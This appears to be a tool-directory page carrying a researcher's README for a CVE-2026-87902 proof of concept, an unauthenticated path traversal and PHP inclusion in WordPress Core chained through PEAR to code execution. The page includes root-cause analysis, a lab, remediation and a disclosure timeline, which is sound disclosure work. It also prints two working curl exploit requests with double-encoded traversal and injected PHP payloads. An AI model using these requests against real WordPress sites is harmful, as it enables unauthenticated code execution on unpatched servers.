Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-87902-poc — PoC for CVE-2026-87902 — unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab | Kitploit
Tools/GitHubGitHub/ressl/cve-2026-87902-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingLabs & Practice
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC for CVE-2026-87902 — unauthenticated path traversal in WordPress page-template resolution (local PHP inclusion, conditional RCE) with a pinned vulnerable lab

View Repository
31018h 45m agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902 — WordPress Core: unauthenticated path traversal in page-template resolution

Unauthenticated local PHP file inclusion in WordPress Core via a double-encoded pagename value — and, under specific deployment conditions, PHP code execution with the web-server account's privileges.

CVECVE-2026-87902
Vendor advisoryGHSA-7hp8-65ch-5whp
Write-upCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
AffectedWordPress Core 4.7.0 – 7.1.1 (every branch, per the advisory's per-branch ranges); reproduced dynamically on 7.0.2
Fixed7.1.2 (7.1 branch), 7.0.6 (7.0 branch) and a backport for every branch down to 4.7.37 (per the advisory)
WeaknessesCWE-98 (improper control of filename in include), CWE-22 / CWE-23 (path traversal)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (supplemental)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
Authenticationnone — no account, cookie, nonce, session, plugin, or outbound request
User interactionnone
AuthorRobert Ressl — ressl.ch
PoC verified2026-09-22 against the lab in this repository — see Verified results

Summary

WordPress resolves a Page template through a chain that never proves the selected file stays inside a theme root:

  1. pagename and page_id are public query variables that WP::parse_request() accepts from an anonymous POST body.
  2. A double-encoded traversal in pagename survives the early query sanitization as escaped %xx octets (wp_basename() cannot see %2f as a separator, and sanitize_title_with_dashes() deliberately keeps valid octets).
  3. A valid page_id then selects a real published Page, while the malicious pagename remains in the query object.
  4. get_page_template() later calls urldecode() on that value and adds a candidate such as page-templates/../../../../../../../usr/local/lib/php/pearcmd.php to the template hierarchy.
  5. locate_template() and the final template loader only check existence, readability and the .php/.html suffix — never that the canonical path is still inside an allowed theme root — and then include it.

That is an unauthenticated remote local-file-inclusion primitive in WordPress Core. On the tested official runtime (wordpress:php8.3-apache, which bundles PEAR and loads no php.ini, so register_argc_argv is On), the inclusion was chained through PEAR's pearcmd.php: a first anonymous request makes config-create write attacker-controlled PHP into /tmp, a second anonymous request includes that file and executes it as www-data.

The missing path containment in Core is the vulnerability. PEAR is only one environment-dependent route from inclusion to code execution — it is not a WordPress dependency and is not present or usable in every deployment.

Root cause

Verified source locations (WordPress 7.0.2):

#LocationRole
1wp-includes/class-wp.php:18,322-330pagename and page_id are public query vars and are read from $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f is not a separator to wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() preserves valid %xx octets instead of removing them
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — the traversal becomes active after sanitization
5wp-includes/template.php:722-736locate_template() concatenates the candidate below each theme root and only calls file_exists()
6wp-includes/template-loader.php:116-132realpath() normalizes the path, then include runs with no canonical root-containment check
7wp-includes/canonical.php:42-47redirect_canonical() returns early for non-GET/HEAD, so a POST is not canonicalized away

Preconditions

The standalone inclusion primitive needs:

#PreconditionReason
1A published, anonymously reachable Page selected by numeric page_idthe page must be returned by the query after the pathname lookup fails
2No earlier resolvable custom page templatea valid assigned template is ordered before the malicious candidate
3A top-level directory in the active (child or parent) theme whose name starts with page-, e.g. page-templates/WordPress prepends the fixed page- prefix, so a .. traversal cannot start at position 0; the directory only has to exist and be traversable — it does not have to be writable
4A selected local .php file that exists and is readable by the PHP userthe loader checks is_file()/is_readable() and requires a .php suffix
5No filesystem confinement blocking that filean open_basedir or MAC policy can prevent the include

The demonstrated PEAR stage additionally needs a readable pearcmd.php (plus its dependencies), register_argc_argv=On for the web SAPI, and a writable output directory. Production php.ini files set register_argc_argv=Off; the tested image loads no php.ini, so the compiled default (On) applied. This is an important limit on the prevalence of the demonstrated code-execution chain.

The bundled Twenty Twenty-Three/Four/Five themes ship no top-level page-* directory, so the stock lab needs the fixture described below. Custom themes can legitimately use a page-templates/ layout (WordPress documentation).

The advisory records where these conditions occur in shipped software: the theme condition is met by the legacy Twenty Twelve and Twenty Fourteen themes and by third-party themes such as Neve, Hestia and Sydney, while the PEAR transition applies to the official PHP Docker image and to default cPanel configurations running PHP older than 8.5. (Twenty Twelve and Twenty Fourteen both ship a top-level page-templates/ directory; the remaining statements are the advisory's.) This repository does not measure how often the full chain applies.

Quick start

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py needs Python 3.6+ (standard library only) and reaches the lab at http://127.0.0.1:8091 by default. Expected output:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

Exit code is 0 on success and 1 otherwise, so the PoC also works as a regression/detection check.

Teardown: docker compose down -v.

Verified results

Run on 2026-09-22 against this lab (Docker 29.4, OrbStack, Apple silicon):

CheckResult
Stage 1HTTP 200; /tmp/wp-pear-rce-flag.php written as www-data:www-data, mode 0644, 1219 bytes
Payload SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identical to the hash recorded in the original report
Stage 2HTTP 200; the injected PHP printed the mode-0444 proof artifact
Marker occurrences12 (PEAR serializes the controlled root value into 12 config entries)
Credentials usednone — no Cookie or Authorization header in any request
Negative controlpage-templates/ removed → stage 2 returns the normal page, no marker, exit code 1

The proof artifact is /flag, root-owned and world-readable (root:root, mode 0444) inside the container. It proves PHP execution and file access as the web-server account; it is not a privilege-escalation target.

How the chain works

Two anonymous POSTs. WordPress routing values travel in the form body, the PEAR arguments in the raw query string (PHP splits the raw query string on literal + into argv and does not URL-decode the individual arguments):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Stage 1 — include pearcmd.php and write the payload:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Stage 2 — include the generated file and run its PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Details that matter:

  • Two encoding layers. The body is decoded once by PHP into templates%2f%2e%2e%2f...; the sanitizer keeps those octets, and only get_page_template()'s late urldecode() turns them into / and ...
  • page- prefix. WordPress prepends page- to the value, so the fixture directory page-templates/ corresponds to the leading templates segment.
  • Forced .php suffix. The candidate is page-<decoded>.php, which is why the target is given without a suffix (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, not GET. redirect_canonical() skips non-GET/HEAD requests, and the form body lets the query string carry only the PEAR arguments.
  • Quote-free payload. wp_magic_quotes() also runs over $_SERVER, so the server-built argv is escaped and PEAR later normalizes the backslashes. The verified payload uses chr() and contains no quote characters. (It reduces to <?=file_get_contents('/flag')?>.)
  • config-create root path. PEAR rejects a relative root (Root directory must be an absolute path beginning with "/"), so the payload is injected as the root path itself.
  • Depth. cve-2026-87902.py walks .. segments until the traversal reaches the target (7 for the layout of this lab, --depth to pin it).

Lab

lab/up.sh performs three steps and is safe to re-run:

  1. docker compose up -d --build --wait — pinned wordpress:7.0.2-php8.3-apache plus mysql:8.4, port 127.0.0.1:8091 (loopback only).
  2. Runs the WordPress installer (admin / adminadmin) if the site is not installed yet.
  3. Creates the fixture inside the active theme and prints it: wp-content/themes/twentytwentyfive/page-templates/, root:root, mode 0755, empty.

The lab image adds register_argc_argv=On explicitly (lab/Dockerfile) instead of relying on the compiled default, and bakes in /flag (root:root, mode 0444, content CVE-2026-87902-POC-OK).

ComponentValue
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, Apache module
PEAR1.10.18 at /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
ThemeTwenty Twenty-Five + empty root-owned page-templates/ fixture
Target Pagepublished Sample Page, ID 2, default template
Proof artifact/flag, root:root, mode 0444

The rolling wordpress:php8.3-apache tag is not usable for this lab: the bug is fixed in 7.1.2 and an unpinned tag silently turns the lab patched.

Negative controls and limitations

Verified or documented controls:

  • No top-level page-* directory in the theme → the fixed prefix cannot be removed and the traversal never starts (verified: fixture removed → no marker).
  • register_argc_argv=Off → no PEAR writer, but the inclusion primitive remains.
  • PEAR or its dependencies absent → no writer.
  • Wrong number of .. segments → target not reached (verified: depths 1-6 and 8-12 produce no marker in the lab).
  • A custom page template assigned to the Page → ordered before the malicious candidate and wins.
  • An unsuffixed file (e.g. /flag) cannot be read directly — the candidate gets .php appended.
  • A WAF/CDN/reverse proxy that rejects raw <, >, = bytes in the request target breaks the PEAR argument channel (deployment-specific).
  • open_basedir/MAC confinement or a non-writable output directory breaks the chain; noexec on /tmp does not (PHP reads and interprets the file).

This PoC reproduces one verified configuration. It does not claim that every WordPress installation is exploitable, and it does not measure prevalence.

Remediation

  • Upgrade to WordPress 7.1.2 or newer (or to the backport of your branch).
  • Defense in depth for template handling: after decoding, reject traversal and absolute candidates (e.g. validate_file()), and before including a located template, compare realpath() of candidate and theme root with a trailing directory separator.
  • Operator mitigations: set register_argc_argv=Off for web SAPIs, remove unused web-readable PEAR entry points from production images, audit child and parent themes for top-level page-* directories, and restrict write access for the PHP account.

Files

PathPurpose
cve-2026-87902.pyexploit: page detection, both stages, depth handling, marker verification
lab/up.shbrings the lab into the exact state the exploit expects (idempotent)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, loopback-only port
lab/Dockerfilepins the vulnerable release, sets register_argc_argv=On, bakes /flag
lab/flagcontent of the proof artifact

Disclosure timeline

DateEvent
2026-07-20Reported privately through the WordPress HackerOne program
2026-07-21Receipt acknowledged
2026-09-15Informed that a fix was planned for an upcoming release; attribution details requested
2026-09-22WordPress 7.1.2 released with the fix; advisory GHSA-7hp8-65ch-5whp published

The report was accepted as a valid security finding after its initial classification was revised; the correspondence does not date that acceptance.

Disclaimer

This repository is published for defensive and research purposes. Use it only against systems you own or are explicitly authorized to test. The lab is bound to 127.0.0.1 and must not be exposed to untrusted networks.

License

MIT — see LICENSE. Citation metadata lives in CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

The vulnerability report and this PoC were prepared with AI assistance for organization and consistency review; the researcher is responsible for the technical claims.

Download Tool